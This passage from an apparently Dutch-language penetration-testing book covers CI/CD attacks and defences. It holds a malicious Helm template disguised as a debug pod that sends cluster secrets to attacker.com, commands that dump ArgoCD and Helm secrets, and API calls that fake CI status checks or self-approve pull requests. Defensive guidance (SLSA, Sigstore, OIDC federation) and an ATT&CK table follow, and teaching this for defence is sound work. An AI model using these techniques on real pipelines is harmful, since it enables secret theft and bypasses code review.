# Stap 3: Als je toegang hebt, enumerate
argocd app list
argocd cluster list
argocd repo list
argocd proj list

# Stap 4: Lees repository credentials
# ArgoCD slaat repo credentials op in Kubernetes Secrets
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository -o yaml

Helm chart injection

Helm is de package manager voor Kubernetes, en Helm charts bevatten templates die worden gerenderd tot Kubernetes-manifesten. Als je een Helm chart kunt wijzigen:

# values.yaml - bevat vaak secrets in plain text
database:
  host: prod-db.internal
  username: webapp
  password: ProductionP@ssw0rd!  # Oeps.

redis:
  password: RedisSecret123

aws:
  accessKey: AKIA...
  secretKey: wJal...
# Malicious Helm template - voeg een pod toe die secrets exfiltreert
# templates/debug-pod.yaml (ziet eruit als een debug tool)
apiVersion: v1
kind: Pod
metadata:
  name: {{ .Release.Name }}-debug
  labels:
    app: {{ .Release.Name }}
spec:
  containers:
  - name: debug
    image: alpine
    command:
    - /bin/sh
    - -c
    - |
      # Verzamel alle secrets in de namespace
      apk add --no-cache curl
      SECRETS=$(kubectl get secrets -o json 2>/dev/null | base64 -w0)
      curl -s "https://attacker.com/collect" -d "$SECRETS"
      sleep infinity
  serviceAccountName: {{ .Release.Name }}
  # Gebruikt het service account van de applicatie

values.yaml secrets

# Zoek naar secrets in Helm values bestanden
# In de Git repository:
find . -name "values*.yaml" -o -name "values*.yml" | while read f; do
    echo "=== $f ==="
    grep -n -iE '(password|secret|key|token|credential)' "$f"
done

# In ArgoCD (als je API-toegang hebt):
argocd app get APP_NAME -o yaml | grep -A5 -iE '(password|secret|key)'

# In het cluster:
helm get values RELEASE_NAME -n NAMESPACE
# Toont ALLE values inclusief secrets

7.10 Pipeline Hardening Bypass

Branch protection bypass

Branch protection regels zijn de poortwachters van de codebase. Ze vereisen reviews, status checks en signed commits. Maar poortwachters zijn alleen effectief als ze niet te omzeilen zijn:

# Bypass 1: Admin override
# Admins kunnen branch protection regels overrulen
# Als je een admin account compromitteert:
git push origin main --force  # Admin kan dit (als "include administrators" niet is ingeschakeld)

# Bypass 2: Status check manipulation
# Status checks worden gerapporteerd via de GitHub/GitLab API
# Als je een token hebt met 'repo:status' scope:
curl -X POST "https://api.github.com/repos/ORG/REPO/statuses/$COMMIT_SHA" \
    -H "Authorization: token $TOKEN" \
    -d '{
        "state": "success",
        "context": "ci/security-scan",
        "description": "All checks passed"
    }'
# De security scan is "geslaagd" -- zonder dat hij daadwerkelijk heeft gedraaid

# Bypass 3: Required reviewers omzeilen
# Als het minimale aantal reviewers op 1 staat:
# Compromitteer een tweede account en approve je eigen PR
# Of: als "dismiss stale reviews" niet is ingeschakeld,
# approve de PR, push nieuwe (kwaadaardige) commits, en merge

# Bypass 4: CODEOWNERS bypass
# .github/CODEOWNERS definieert wie welke bestanden moet reviewen
# Maar CODEOWNERS wordt alleen afgedwongen als het is geconfigureerd
# in de branch protection rules. Check of het daadwerkelijk actief is.

# Bypass 5: Fork-based bypass
# Fork de repo, maak wijzigingen, open een PR
# In sommige configuraties worden fork PRs minder streng behandeld

Required reviews circumvention

# Scenario: 2 required reviewers

# Methode 1: Compromitteer 2 reviewer accounts
# Social engineering, credential stuffing, of gelekte tokens

# Methode 2: Self-approval via API (als niet geblokkeerd)
# Sommige platforms staan toe dat een PR-auteur zijn eigen PR approved
# via de API, ook als het via de UI is geblokkeerd
curl -X POST "https://api.github.com/repos/ORG/REPO/pulls/PR_NUM/reviews" \
    -H "Authorization: token $AUTHOR_TOKEN" \
    -d '{"event": "APPROVE"}'

# Methode 3: Review dismissal
# Als je 'dismiss review' permissies hebt:
# Dismiss een negatieve review en vervang door een goedkeuring

Signed commit bypass

# Scenario: repository vereist signed commits

# Methode 1: GPG key van een developer compromitteren
# De private key staat vaak unencrypted in ~/.gnupg/

# Methode 2: Commit spoofing
# Git commit author is niet cryptografisch gekoppeld aan de GPG key
# Je kunt een commit signen met JOUW key maar de author op IEMAND ANDERS zetten
git commit --author="Trusted Dev <trusted@company.com>" -S -m "Legitimate change"
# De commit is gesigned (door jou), maar de author is iemand anders
# Sommige systemen checken alleen OF een commit is gesigned, niet DOOR WIE

# Methode 3: Rebase en force push (als toegestaan)
# Herschrijf de history met unsigned commits
# en force push (als branch protection dit toestaat voor admins)

Verdedigingsmaatregelen

SLSA Framework

Supply-chain Levels for Software Artifacts (SLSA, uitgesproken als “salsa”) is een framework van Google dat de integriteit van de software supply chain adresseert:

SLSA Niveau Vereisten Wat het beschermt tegen
Level 0 Niets Niets
Level 1 Build proces is gedocumenteerd, provenance gegenereerd Onbekende build herkomst
Level 2 Hosted build service, authenticated provenance Gemanipuleerde build omgeving
Level 3 Hardened build platform, non-falsifiable provenance Gecompromitteerde build service
Level 4 Two-party review, hermetic builds Insider threats
# Voorbeeld: SLSA provenance genereren in GitHub Actions
- uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.9.0
  with:
    base64-subjects: "${{ needs.build.outputs.hashes }}"

Sigstore

Sigstore is een ecosysteem voor het ondertekenen en verifieren van software-artefacten:

# Cosign: container image signing
# Teken een image
cosign sign --key cosign.key REGISTRY/IMAGE:TAG

# Verifieer een image
cosign verify --key cosign.pub REGISTRY/IMAGE:TAG

# Keyless signing met OIDC (geen sleutelbeheer nodig)
cosign sign REGISTRY/IMAGE:TAG
# Authenticeert via je OIDC identity (GitHub, Google, etc.)

# In Kubernetes: Kyverno policy om alleen gesignde images toe te staan
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  rules:
  - name: verify-cosign
    match:
      any:
      - resources:
          kinds:
          - Pod
    verifyImages:
    - imageReferences:
      - "registry.company.com/*"
      attestors:
      - entries:
        - keyless:
            subject: "https://github.com/company/*"
            issuer: "https://token.actions.githubusercontent.com"

Ephemeral runners

# GitHub Actions: gebruik altijd GitHub-hosted runners voor publieke repos
runs-on: ubuntu-latest  # Ephemeral, schone omgeving per job

# Self-hosted runners: configureer als ephemeral
# ./config.sh --ephemeral
# Runner wordt na elke job automatisch de-registered en opnieuw aangemaakt

# Docker-based ephemeral runners
# Elke job draait in een verse container
# Geen cross-job contaminatie mogelijk

Least privilege tokens

# GitHub Actions: minimale GITHUB_TOKEN permissies
permissions:
  contents: read
  packages: write
  # Alleen wat nodig is, niets meer

# GitLab CI: gebruik scoped variables
variables:
  DEPLOY_TOKEN:
    value: $CI_DEPLOY_TOKEN
    # protected: alleen beschikbaar op protected branches
    # masked: verborgen in build logs

# Jenkins: gebruik credential scoping
// Jenkinsfile
withCredentials([
    usernamePassword(
        credentialsId: 'deploy-staging',  // Specifiek per omgeving
        usernameVariable: 'USER',
        passwordVariable: 'PASS'
    )
]) {
    // Credentials alleen beschikbaar in dit blok
    sh 'deploy.sh'
}

OIDC Federation

# AWS OIDC met GitHub Actions (geen langlevende credentials)
# Stap 1: Configureer de OIDC provider in AWS
# Stap 2: Maak een IAM role met trust policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
                },
                "StringLike": {
                    "token.actions.githubusercontent.com:sub": "repo:ORG/REPO:ref:refs/heads/main"
                }
            }
        }
    ]
}

# Stap 3: Gebruik in de workflow
# - uses: aws-actions/configure-aws-credentials@v4
#   with:
#     role-to-assume: arn:aws:iam::ACCOUNT:role/GitHubActionsRole
#     aws-region: eu-west-1
# Geen AWS_ACCESS_KEY_ID, geen AWS_SECRET_ACCESS_KEY
# Alleen een kortlevend session token
# GCP Workload Identity Federation met GitHub Actions
# Vergelijkbaar principe: OIDC token → GCP service account
- uses: google-github-actions/auth@v2
  with:
    workload_identity_provider: 'projects/PROJECT_NUM/locations/global/workloadIdentityPools/github/providers/github-provider'
    service_account: 'github-actions@PROJECT.iam.gserviceaccount.com'

IB Tip: OIDC federation is de beste manier om langlevende credentials uit CI/CD pipelines te elimineren. Maar let op de condition in de trust policy. Als de sub claim te breed is (bijv. repo:ORG/* in plaats van repo:ORG/REPO:ref:refs/heads/main), kan elke repository in de organisatie de rol aannemen. Controleer altijd de trust policy conditions.


Referentietabel

Techniek Categorie MITRE ATT&CK Platform Complexiteit
Expression injection Code Execution T1059.004 - Unix Shell GitHub Actions Middel
Self-hosted runner abuse Initial Access T1195.002 - Software Supply Chain GitHub/GitLab Middel
GITHUB_TOKEN abuse Credential Access T1528 - Steal Application Access Token GitHub Actions Laag
pull_request_target exploit Credential Access T1528 GitHub Actions Middel
Secret exfiltration via artifacts Credential Access T1552.001 - Credentials In Files Alle platforms Laag
Shared runner exploitation Lateral Movement T1021 - Remote Services GitLab CI Middel
CI/CD variable extraction Credential Access T1552.001 GitLab CI Laag
Protected branch bypass Defense Evasion T1562.001 - Disable or Modify Tools Alle platforms Middel
Include directive abuse Execution T1059.004 GitLab CI Middel
Jenkins Script Console RCE Execution T1059.007 - JavaScript Jenkins Laag
Groovy sandbox escape Execution T1059 - Command and Scripting Jenkins Hoog
Jenkins credential theft Credential Access T1555 - Credentials from Password Stores Jenkins Middel
Pipeline as code injection Execution T1195.002 Jenkins Middel
Environment variable leaks Credential Access T1552.001 Alle platforms Laag
Build log secrets Credential Access T1552.001 Alle platforms Laag
Terraform state secrets Credential Access T1552.001 Alle platforms Laag
Dependency confusion Initial Access T1195.001 - Software Dependencies npm/PyPI/NuGet Middel
Typosquatting Initial Access T1195.001 npm/PyPI/NuGet Laag
Compromised Actions/Orbs Execution T1195.002 GitHub/CircleCI Middel
Malicious packages Execution T1195.001 Alle package managers Middel
Build artifact tampering Persistence T1195.002 Alle platforms Middel
ArgoCD exploitation Initial Access T1190 - Exploit Public-Facing Application ArgoCD/K8s Middel
Helm chart injection Execution T1610 - Deploy Container Kubernetes/Helm Middel
values.yaml secret extraction Credential Access T1552.001 Kubernetes/Helm Laag
Status check manipulation Defense Evasion T1562.001 GitHub/GitLab Middel
Review circumvention Defense Evasion T1562.001 Alle platforms Middel
SLSA provenance forgery Defense Evasion T1195.002 Alle platforms Hoog

De software supply chain is het fundament waarop moderne software wordt gebouwd. Het is ook een fundament met scheuren die we pas beginnen te zien. De aanvallen in dit hoofdstuk – van dependency confusion tot pipeline injection – exploiteren niet zozeer technische kwetsbaarheden als wel het vertrouwen dat we in onze tools en processen stellen. En vertrouwen, zo leert de ervaring, is het eerste wat een aanvaller misbruikt.

In de volgende hoofdstukken verlaten we de bouwketen en kijken we naar de cloud-omgevingen waar deze software uiteindelijk draait: AWS, Azure en GCP. Andere omgevingen, dezelfde fouten.